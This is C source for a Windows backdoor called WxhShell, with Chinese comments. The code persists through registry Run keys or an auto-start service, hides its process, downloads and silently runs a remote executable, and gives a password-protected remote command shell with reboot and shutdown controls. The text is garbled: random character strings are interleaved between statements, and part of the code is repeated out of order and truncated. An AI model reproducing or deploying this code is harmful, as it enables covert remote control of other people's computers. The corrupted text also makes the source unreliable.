if(NULL == hInst ) return 0; lNz1|nS(Kd 5<M$ XT g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D?FmlDTr[ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jx}7/ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m.FN ttkM j\HZ5 if (!NtQueryInformationProcess) return 0; nlZJ}xZ JS/~6'uB hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w"O{@2B3:H if(!hProcess) return 0; {e5- L|nFN}da if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YU XxQ| _>bk'V7 CloseHandle(hProcess); NiMsAI@j xiV!\Z} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >2v<;. if(hProcess==NULL) return 0; \]g51U!' _S,UpR~2W HMODULE hMod; T*g}^TEh char procName[255]; R8 LHwRQ unsigned long cbNeeded; 5jv*C]z 7uf5w0] if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T
oT(' 1p$ *N CloseHandle(hProcess); s@E)=;! 1,7
}ah_ if(strstr(procName,"services")) return 1; // 以服务启动 E:-~SH} MdFFt:y: return 0; // 注册表启动 D< kf/hj } WM%w_,Z ~Kl"V%> // 主模块 [E+J=L.l int StartWxhshell(LPSTR lpCmdLine) %<r}V<OeR { NV==[$ (r SOCKET wsl; W*?qOq
{ BOOL val=TRUE; o+L[o_er int port=0; 1]Cdfj6@ struct sockaddr_in door; "3'a.b akw vY"I if(wscfg.ws_autoins) Install(); 0+[3>N y0 %&0/Ypp= port=atoi(lpCmdLine); "Pu917_P M`7[hr if(port<=0) port=wscfg.ws_port; ?2R!n"m-d @
'c(q=K; WSADATA data; Qn~{TZz if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -d thY(8 &gr
T@ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; eC WF0a setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `GlOl- door.sin_family = AF_INET; &g>MZ"Z| door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5j\Kej door.sin_port = htons(port); Udf\;G@ LK!sk5/ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]1eZ<le`6 closesocket(wsl); _
nz^+ return 1; 7HQL^Q } 6,|>;,U7 rCsC}2O if(listen(wsl,2) == INVALID_SOCKET) { HR?bnkv|id closesocket(wsl); =T#hd7O`V return 1; l>L?T#v!_ } s];0-65) Wxhshell(wsl); v;-0^s/P WSACleanup(); wkx #WC j+S&5C/{ return 0; Z[l+{ T!Tp:&O- } X$G:3uoN Q@8(e&{#W // 以NT服务方式启动 TXT<6( VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LN5BU,4= { XH0o8\. DWORD status = 0;
_|4QrZ$n( DWORD specificError = 0xfffffff; u~VXe 65VTKlDD serviceStatus.dwServiceType = SERVICE_WIN32; ,Z
:2ba serviceStatus.dwCurrentState = SERVICE_START_PENDING; !)CY\c4}d> serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MiKq| serviceStatus.dwWin32ExitCode = 0; kGC*\?<LmR serviceStatus.dwServiceSpecificExitCode = 0; Wb#<ctM> serviceStatus.dwCheckPoint = 0; 9YB?wh'S[ serviceStatus.dwWaitHint = 0; 8kr$w$=q 7xY&7 x(v hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VKw.g@BY if (hServiceStatusHandle==0) return; 1|s`z N)a5~<fBG status = GetLastError(); ;CoD5F! if (status!=NO_ERROR) QFN 9j { {X<_Y< serviceStatus.dwCurrentState = SERVICE_STOPPED; ;49sou serviceStatus.dwCheckPoint = 0; 2P${5WT serviceStatus.dwWaitHint = 0; p&0 G serviceStatus.dwWin32ExitCode = status; H#WqO<<v serviceStatus.dwServiceSpecificExitCode = specificError; `Fe/=]<$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); wuxOFlrg return; I>w|80%% } 69Z`mR ;PqC*iz serviceStatus.dwCurrentState = SERVICE_RUNNING; {zc*yV\ serviceStatus.dwCheckPoint = 0; 8Fbt >-N<\ serviceStatus.dwWaitHint = 0; ftRdK>a
D if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0,):;OI } L_+Fin n=0^8QQ
// 处理NT服务事件,比如:启动、停止 cG 3tn&AXi VOID WINAPI NTServiceHandler(DWORD fdwControl) w@YPG{"j { #N'9F&:V$ switch(fdwControl) YguW2R=6] { y5D3zqCG case SERVICE_CONTROL_STOP: "(~fl<; serviceStatus.dwWin32ExitCode = 0; n$h+_xN serviceStatus.dwCurrentState = SERVICE_STOPPED; EFu$>Z4 serviceStatus.dwCheckPoint = 0; .b!HEi<F serviceStatus.dwWaitHint = 0; &|Rww\oJ { {K|ds($ 5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); o4j!:CI } : Q2=t! return; MCIuP`sC| case SERVICE_CONTROL_PAUSE: hY *^rY' serviceStatus.dwCurrentState = SERVICE_PAUSED; Cv&>:k0V break; 7|[Dr@.S case SERVICE_CONTROL_CONTINUE: /?|;f2tbV2 serviceStatus.dwCurrentState = SERVICE_RUNNING; ADP3Nic break; \q^dhY>) case SERVICE_CONTROL_INTERROGATE: VG$%Vs break; EpCNp FQT< }; W>,D$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); sebuuL.l0< } l Dwq[ I]w OMab! // 标准应用程序主函数 up~p_{x)Q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .%\||1F< { j~cG#t] D.a\O9q"&{ // 获取操作系统版本 bIk4?S OsIsNt=GetOsVer(); 63t'|9^5 GetModuleFileName(NULL,ExeFile,MAX_PATH); })q8{Qj! cA]PZ*]{BN // 从命令行安装
Y8fel2; if(strpbrk(lpCmdLine,"iI")) Install();
3L4v@ g( S4i%\ // 下载执行文件 EU Oa8Z if(wscfg.ws_downexe) { O\@0o|NM if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n2["Ln mO WinExec(wscfg.ws_filenam,SW_HIDE); uhwCC } ,W_".aguX 4s <ZKU if(!OsIsNt) { >{0,dGm // 如果时win9x,隐藏进程并且设置为注册表启动 I=YZ!* f/` HideProc(); .g=D70 StartWxhshell(lpCmdLine); / >7G } H4M`^r@)' else 1=~ ##/at if(StartFromService()) uL~.#Y_jQ // 以服务方式启动 u1Wixjd| StartServiceCtrlDispatcher(DispatchTable); _Pl5?5eZj else lXnv(3j3*s // 普通方式启动 A2`Xh#o StartWxhshell(lpCmdLine); RNcnE1= !4$o*{9Lx: return 0; HLq2avs\ } 0F&(}`V >[P`$XkXd4 <sjz_::V8R v.Q+4
k =========================================== LcHe5Bv% v0pev;C 1%N[DA^<\ )hfI,9I~ 4L&Rs; #[~f 6s9D " zZPXI&, V%FWZn^ #include <stdio.h> Qf}}/k|)k #include <string.h> _Oc\hW #include <windows.h> ;7mE%1X #include <winsock2.h> "^VPe[lA #include <winsvc.h> ,T+.xB;Q@ #include <urlmon.h> 4ZT0~37( NHaqT@: #pragma comment (lib, "Ws2_32.lib") U%tpNWB #pragma comment (lib, "urlmon.lib") Ve[&_(fP Mqmy*m[U #define MAX_USER 100 // 最大客户端连接数 K5\;'.9M #define BUF_SOCK 200 // sock buffer '77Gg #define KEY_BUFF 255 // 输入 buffer H+VjY MvK -JXCO<~k #define REBOOT 0 // 重启 5?Rzyfwk| #define SHUTDOWN 1 // 关机 VCvFCyAz $HFimU,V=0 #define DEF_PORT 5000 // 监听端口 [CG*o>n&| cdD?QnZ #define REG_LEN 16 // 注册表键长度 dpB\= #define SVC_LEN 80 // NT服务名长度 @kB^~Wf ~s)
`y2Y // 从dll定义API tS3{y*yi typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rL6Y4u0e% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [^\HP]*Q{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N7dI}ju typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PKX
Tj6hj) aHSl_[ // wxhshell配置信息 m+pFU?<| struct WSCFG { QfI@=Kbg%# int ws_port; // 监听端口 <4D.H char ws_passstr[REG_LEN]; // 口令 hixG/%aO int ws_autoins; // 安装标记, 1=yes 0=no je5GZFQw char ws_regname[REG_LEN]; // 注册表键名 N/r8joi# char ws_svcname[REG_LEN]; // 服务名 NFBhnNH+ char ws_svcdisp[SVC_LEN]; // 服务显示名 >VB*Xt\C& char ws_svcdesc[SVC_LEN]; // 服务描述信息 H.!\j&4j char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I_iXu;UX int ws_downexe; // 下载执行标记, 1=yes 0=no 7H_*1_%ZQ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &K-0ld(; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i-`J+8|d h)sQ3B.}A }; qnTW?c9Z5 !)LVZfQ0 // default Wxhshell configuration 9wpV} .( struct WSCFG wscfg={DEF_PORT, ?m:,hI "xuhuanlingzhe", g66SCr} 1, h7o?z! "Wxhshell", |HA1.Y= "Wxhshell", #;F*rJ[XY "WxhShell Service", oO&R3zA1d "Wrsky Windows CmdShell Service", ko`.nSZ-k "Please Input Your Password: ", TX$4x~: 1, N:&EFfg3 "http://www.wrsky.com/wxhshell.exe", ,p9>/)l "Wxhshell.exe" 4-~S"T8<u }; {# Vp`ji zF#:Uc`C5U // 消息定义模块 q?bKh*48 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t-VU&.Y char *msg_ws_prompt="\n\r? for help\n\r#>"; uxsi+vkI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .[C@p`DZ char *msg_ws_ext="\n\rExit."; ]T1\gv1~ char *msg_ws_end="\n\rQuit."; &v g[k#5 char *msg_ws_boot="\n\rReboot...";
)6:1`&6 char *msg_ws_poff="\n\rShutdown..."; P|QM0GI char *msg_ws_down="\n\rSave to "; _j}jh[M
/DoSU>%hK char *msg_ws_err="\n\rErr!"; 1Y(NxC0P=g char *msg_ws_ok="\n\rOK!"; @"O|[%7e Vl%UT@D| char ExeFile[MAX_PATH]; ytyB:# J int nUser = 0; DW0N}>Gp* HANDLE handles[MAX_USER]; "-:-!1;Ji int OsIsNt; 5 =Op% /uJ(W SERVICE_STATUS serviceStatus; kKz>]t"A SERVICE_STATUS_HANDLE hServiceStatusHandle; rIQ%X`Y
B*AB@ // 函数声明 e^yfoE<7 int Install(void); HJt@m
&H| int Uninstall(void); w,eW?b
int DownloadFile(char *sURL, SOCKET wsh); BKk+<#Ti int Boot(int flag); xt1Ug~5 void HideProc(void); fRomP-S int GetOsVer(void); LW!>_~g- int Wxhshell(SOCKET wsl); i 2l/y,UX void TalkWithClient(void *cs); (DY&{vudF int CmdShell(SOCKET sock); hkl9EVO) int StartFromService(void); XWag+K int StartWxhshell(LPSTR lpCmdLine); sny$[!) #&K? N
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;C,t`( VOID WINAPI NTServiceHandler( DWORD fdwControl ); !Wz4BBU8o
4n6t(/]b< // 数据结构和表定义 r2T$
;m. SERVICE_TABLE_ENTRY DispatchTable[] = =hi{J
M { -1} &\=8M {wscfg.ws_svcname, NTServiceMain}, (CInt_dBw~ {NULL, NULL} QzVo U | }; /_1q)`NYy t 09-y // 自我安装 K@tEL Yb int Install(void) _0"s6D$ { gubw&W char svExeFile[MAX_PATH]; 1 RVs!; HKEY key; 6o&ZS @ strcpy(svExeFile,ExeFile); W0XfU` VWrb`p@ // 如果是win9x系统,修改注册表设为自启动 QB;jZpF if(!OsIsNt) { </!GU* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oaG;i51! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aRy" _dZ2 RegCloseKey(key); < b-OdOg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w_#C8}2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oc;4;A-;`c RegCloseKey(key); & tjL*/ return 0; VI]~uTV } sGG
q~7 } !GnwE } @]etW>F_ else { QYc/f"9 B*:W`}G]_c // 如果是NT以上系统,安装为系统服务 lUd4`r" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q\xsXM if (schSCManager!=0) `#4q7v~>oe { |f1RhB SC_HANDLE schService = CreateService yVWt%o/ ( }kSP p schSCManager, 5E^P2Mlc wscfg.ws_svcname, %E[ $np> wscfg.ws_svcdisp, !uP8powO SERVICE_ALL_ACCESS, ce:wF#Qs SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2=,d.1E3d SERVICE_AUTO_START, wRg[Mu,Q5 SERVICE_ERROR_NORMAL, /9o6R:B svExeFile, d2fiPI7lg NULL, .|@2Uf NULL, lib}dk NULL, 0{/'[o7 NULL, A3|2;4t NULL :-$TD('F ); ;H9 W:_ahE if (schService!=0) `aSbGMz { 4kR;K!@k CloseServiceHandle(schService); 5?.!A
'zb CloseServiceHandle(schSCManager); :XOjS[wBm strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9Y?``QBN strcat(svExeFile,wscfg.ws_svcname); udPLWrPF\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z/q'^PB
p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,6ae='=d RegCloseKey(key); n[\L6} return 0; c3WF!~1r } S[{,+{b0 } ),H1z`c&I CloseServiceHandle(schSCManager); ` 5n^DP*X } L s+zJ1 } [LrO"9q( (:R5"|]@<x return 1; 9%2he)Yqc } BZIU@^Q_Y[ sGE%zCB // 自我卸载 yv: Op\;R int Uninstall(void) 7Rd(,eWE@ { `JyI`@,! HKEY key; h@J3+u< QcX&q%*0 if(!OsIsNt) { kx;7/fH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /J9Or{#r RegDeleteValue(key,wscfg.ws_regname); aGAr24]y RegCloseKey(key); h-x~:$Z, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kOC0d, RegDeleteValue(key,wscfg.ws_regname); GyVuQ51 RegCloseKey(key); Df$~=A} return 0; ( X+2vN } (M{>9rk8 } 4UND;I& } +G+1B6S else { T7o7t5* ,W;|K 5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tl#2w= if (schSCManager!=0) ]@~%i=.7 { Eo6qC?5< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `i+2YCk if (schService!=0) =J]M#6N0 { B
]sVlbt if(DeleteService(schService)!=0) { |:,`dQfw CloseServiceHandle(schService); ~_IQ:]k CloseServiceHandle(schSCManager); 1 |/ |Lq%w return 0; TX7dwmt)N } ab#z&jg! CloseServiceHandle(schService); EVE"F'Ww,_ } F!w|5,) CloseServiceHandle(schSCManager); \rE] V,,2 } DyA1zwp} } NiQ Y3Nj y\[q2M< return 1; (y1S*_D
} Bwu?DK 8VuLL<\| // 从指定url下载文件 hegH^IN M int DownloadFile(char *sURL, SOCKET wsh) *SpE
XO { "-j96
KD HRESULT hr; ",#Ug"|2 char seps[]= "/"; NG23 char *token; =
uepg@J char *file; *pAB dP+ char myURL[MAX_PATH]; ;jO+<~YP! char myFILE[MAX_PATH]; (+<66
TO s6#e?5J strcpy(myURL,sURL); i6y=3k token=strtok(myURL,seps); ="PFCxi while(token!=NULL) l.Z+.<@ { y,@yaM}-/K file=token; 66$hdT$ token=strtok(NULL,seps); &> R:oYN } d`%7Pk Dz/MIx GetCurrentDirectory(MAX_PATH,myFILE); 25r3[gX9` strcat(myFILE, "\\"); >%slzr strcat(myFILE, file); ?_v_*+b_ send(wsh,myFILE,strlen(myFILE),0); 9xE_Awlc85 send(wsh,"...",3,0); G>jC+0nkry hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JXR]G if(hr==S_OK) jl>wvY|| return 0; Xg\unUHa else K@:Ab'(P^| return 1; +ZFN8 +}:2DXy@ } I|;C}lfp JNP6qM // 系统电源模块 I1s$\NZ~] int Boot(int flag) DJqJ6 z:' { gA3f@7}d HANDLE hToken; =}Q|#C TOKEN_PRIVILEGES tkp; ?crK613 t hW6Ksn,* if(OsIsNt) { DbtkWq% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U!E}(9
tb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8:0,jnS
tkp.PrivilegeCount = 1; 2 OqEyXh tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L|;sB=$'{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WGyPyG#Fl if(flag==REBOOT) { Lf%}\0: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u:B=lZ[ return 0; C~.T[Mlu } (uC@cVkP else { LvZ',u} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )5y"T0] return 0; ou`KkY|| } 2]FRIy
d } )HvBceN else { yJ6g{#X4K< if(flag==REBOOT) { 2U"2L^oKI if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T21?~jS return 0; ] ;CJ6gM~ } ![J_6f}! else { ]\k&
l
[' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q("4R return 0; /FC(d5I } }U4mXkZF } H$pgzNL ]KG.-o30 return 1; @D `j } WT3g31 Lw1[)Vk}E // win9x进程隐藏模块 >hV2p/D void HideProc(void) 0;`+e22 { Cb.M Ww#!-,*]o HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d\tY-X3 if ( hKernel != NULL ) BMV\@Sg { Y]uVA`%"b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K@
&;f(Y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s<aG FreeLibrary(hKernel); cRNVqMpg } 3f~znO ?5,I`9 return; n[# **s } ya,-Lt !@y/{~Gu // 获取操作系统版本 '*
/$66| int GetOsVer(void) >l=^3B,j { [nrD4 OSVERSIONINFO winfo; G-;EB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z^WY5~? GetVersionEx(&winfo); 3"k n5)x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {LCKt/Z>P return 1; UISsiiG( else @L0)k^: return 0; oJ/=&c } -%{+\x2 4T
v=sP // 客户端句柄模块
K\s<<dRa int Wxhshell(SOCKET wsl) }m7$,'C%P { ^D9w=f#a SOCKET wsh; 0[N1SY\lj struct sockaddr_in client; eX!yIqAR DWORD myID; 9-24c q(1hY"S"}b while(nUser<MAX_USER) i*A_Po { {eQijW2Z3 int nSize=sizeof(client); ,]das wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'm-5 if(wsh==INVALID_SOCKET) return 1; l
m(mY$B*_ }qZ^S9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JLjs`oqh if(handles[nUser]==0) C',uY7}< closesocket(wsh); >RpMw!NT else yT='V1 nUser++; y-gXGvZ } iU3PlF[B/o WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &0J8ICd= uf:'"7V7 return 0; c>+68<H } e+>$4Jq %,aSD#l`f // 关闭 socket Bqb`WX[<` void CloseIt(SOCKET wsh) 7+hc?H[&' { 8=?U7aw closesocket(wsh); Z$6B}cz< nUser--; :()K2<E ExitThread(0); !:tr\L { } U:[CcN/~3 %afF%y // 客户端请求句柄 8+32hg@^F void TalkWithClient(void *cs) R9QW%!:,\2 { 2=1qmQE <yvo<R^30 SOCKET wsh=(SOCKET)cs; fGe"1MfU char pwd[SVC_LEN]; /ZH* t \ char cmd[KEY_BUFF]; r@wE?hK char chr[1]; Xr88I^F; int i,j; ilZ5a&X; ZU2D.Kf_: while (nUser < MAX_USER) { cFuQ>xR1 <DII%7q,6/ if(wscfg.ws_passstr) { /BhP`a%2Q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $~?)E;S
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #'RfwldD9 //ZeroMemory(pwd,KEY_BUFF); P\z1fscnK i=0; lh!8u<yv* while(i<SVC_LEN) { ]"j%:fr <dz_7hR" // 设置超时 #$!^1yO fd_set FdRead; x`'s struct timeval TimeOut; %>y!N!.F FD_ZERO(&FdRead); 7; ?7q FD_SET(wsh,&FdRead); r|/9'{! TimeOut.tv_sec=8; + EKp*Vje TimeOut.tv_usec=0; h96<9L int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '] _7Xa' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yBv4 xKMH 2|`Mb~E; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vB5mOXGN q pwd=chr[0]; .cmhi3o4 if(chr[0]==0xd || chr[0]==0xa) { m93{K7O2e pwd=0; w[EEA_\ break; Z0wH%o\ } 3jto$_3'w i++; Lg2PP#r } y'JJ#7O= ]J/;Xp // 如果是非法用户,关闭 socket D (e,R9hPU if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wGHVq
fm5 } <N=ow"rD (+u&b< <6N send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Dr}elR>~G= send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1WY$Vs yC!>7@m while(1) { l9H-N*Wx yDpv+6(a ZeroMemory(cmd,KEY_BUFF); $ylxl"Y PX?^v8wlqL // 自动支持客户端 telnet标准 ";n%^I} j=0; 'p%w_VbI while(j<KEY_BUFF) { /u"Iq8QA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jr>Nc}!U cmd[j]=chr[0]; 7EL0!:P p3 if(chr[0]==0xa || chr[0]==0xd) { OSC_-[b- cmd[j]=0;
?9*[\m?- break; :`4LV } LXR>M>a` j++; .Lm`v0'w } ;b_<5S _e|-O>#pl // 下载文件 ^[2siG if(strstr(cmd,"http://")) { +bWo{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); \PmM856=ms if(DownloadFile(cmd,wsh)) P1`YbLER5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); eN m
Wul else owO&[D/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); of`WP } +^4HCyW else { J^pq< %V-Hy ;V switch(cmd[0]) { xQqZi b5I VB4ir\nF // 帮助 xp"F)6 case '?': { &Hl
w2^ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .WGrzhsV break; t0T#Xb } m2F+6G // 安装 W{kTM4 case 'i': { Js9EsN% if(Install()) qqu]r send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q1DiEg else jZqCM{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); asYUb&Hz88 break; ~A*$+c( } @8SA^u0 // 卸载 qwd
T=H case 'r': { t
y%Hrw if(Uninstall()) H*&!$s. send(wsh,msg_ws_err,strlen(msg_ws_err),0); x0q`Uc else JvtbGPz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qmj%otSg break; ?a~#`< } MAgoxq~;V // 显示 wxhshell 所在路径 ^=w){]G case 'p': { f5#VU7=1F2 char svExeFile[MAX_PATH]; WAGU|t#." strcpy(svExeFile,"\n\r"); pA@BW:# strcat(svExeFile,ExeFile); s&-dLkis{u send(wsh,svExeFile,strlen(svExeFile),0); N<aMUV m break; >NBwtF> } p@+D$ // 重启 v
<E#`4{ case 'b': { 2L7ogyrU/A send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bvz&
p)( if(Boot(REBOOT)) p+:MZP -%( send(wsh,msg_ws_err,strlen(msg_ws_err),0); _RG2I)P else { cb _nlG! closesocket(wsh); b|g=&T:pp ExitThread(0); - !s=`9o } |`@7G`x break; >F;yfv; } ++d[YhO // 关机 3>k?-%" case 'd': { `FIS2sl/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E
<h9o>h if(Boot(SHUTDOWN)) gPy}.g{tH$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); u S{WeL6% else { ;C+
_K S closesocket(wsh); nb U?:=P ExitThread(0); AF"XsEt.e } nbSu|sX~r5 break; wL"
2Cm } wWB^m@:4 // 获取shell $WZHkV case 's': { ~{np G CmdShell(wsh); O*hQP*Rs closesocket(wsh); :.W</o~\s ExitThread(0); %CG=mTP break; 8fQaMn4V } (Z at|R.F // 退出 pL{:8Ed case 'x': { D?
FWSv send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \%]!/&>{6 CloseIt(wsh); !v]~ut !p break; p (x<h } ,IQ%7*f;O_ // 离开 ^97\TmzP{ case 'q': { 8DZ
OPA send(wsh,msg_ws_end,strlen(msg_ws_end),0); n.xOu`gj closesocket(wsh); S)G*+) WSACleanup(); &%` 0&y exit(1); &W-1W99auE break; aUEnQ%YU" } rZG6}<Hx } gYvT'72 } (,2U?p pDG>9P#mO // 提示信息 wlfq$h p if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lhduK4u } .0#{?R, } Rln@9muXA =FXq=x%9+ return; R(<_p"9( } }i@%$Ixsn -3&mgd // shell模块句柄 wVtBH_> int CmdShell(SOCKET sock) 3d*wZ9qz { x @uowx_&m STARTUPINFO si; Tlz~o[`& ZeroMemory(&si,sizeof(si)); 2U`g[1 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i$S*5+ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (pkq{: Fs PROCESS_INFORMATION ProcessInfo; &Vmx<w char cmdline[]="cmd"; }R2afTn[; CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ebytvs,w return 0; ^F`\B'8MF } $z'_Hr' Cw]bhaG
g // 自身启动模式 JzuP AI int StartFromService(void) k|[86<&[ { f&L8<ASFo typedef struct nTxN>?l2E { ;0]s:0WD0P DWORD ExitStatus; l. 0|>gj`0 DWORD PebBaseAddress; :ej`]yK | DWORD AffinityMask;
I<LIw8LI DWORD BasePriority; X(fT[A_2C ULONG UniqueProcessId; C &-]RffA ULONG InheritedFromUniqueProcessId; [eO6H2@=z } PROCESS_BASIC_INFORMATION; C#D8
E.W x] j&Knli PROCNTQSIP NtQueryInformationProcess; -x2&IJ! uEcK0>xp static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jqgo\r%` static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N"&qy3F %E`=c]! HANDLE hProcess; F@u>5e^6 PROCESS_BASIC_INFORMATION pbi; \R (Yf!> p-,(P+Np HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?emYLw if(NULL == hInst ) return 0; +a}>cAj* [pYjH+< g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 71!'k>]h g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &&
E) NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h$rk]UM/Q x|q|> dPB if (!NtQueryInformationProcess) return 0; RoeLf Ow b 3i34, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q9NKQuSu if(!hProcess) return 0; "%]vSr { K* if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;;lOu~-*$p i :Sih"= CloseHandle(hProcess); .[8g6:> +W[NgUrGJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @bO/5"X, if(hProcess==NULL) return 0; 9 7Mi{Zz T@x_}a:g HMODULE hMod; ]gG&X3jaKq char procName[255]; J\c\Ar: unsigned long cbNeeded; "E}38 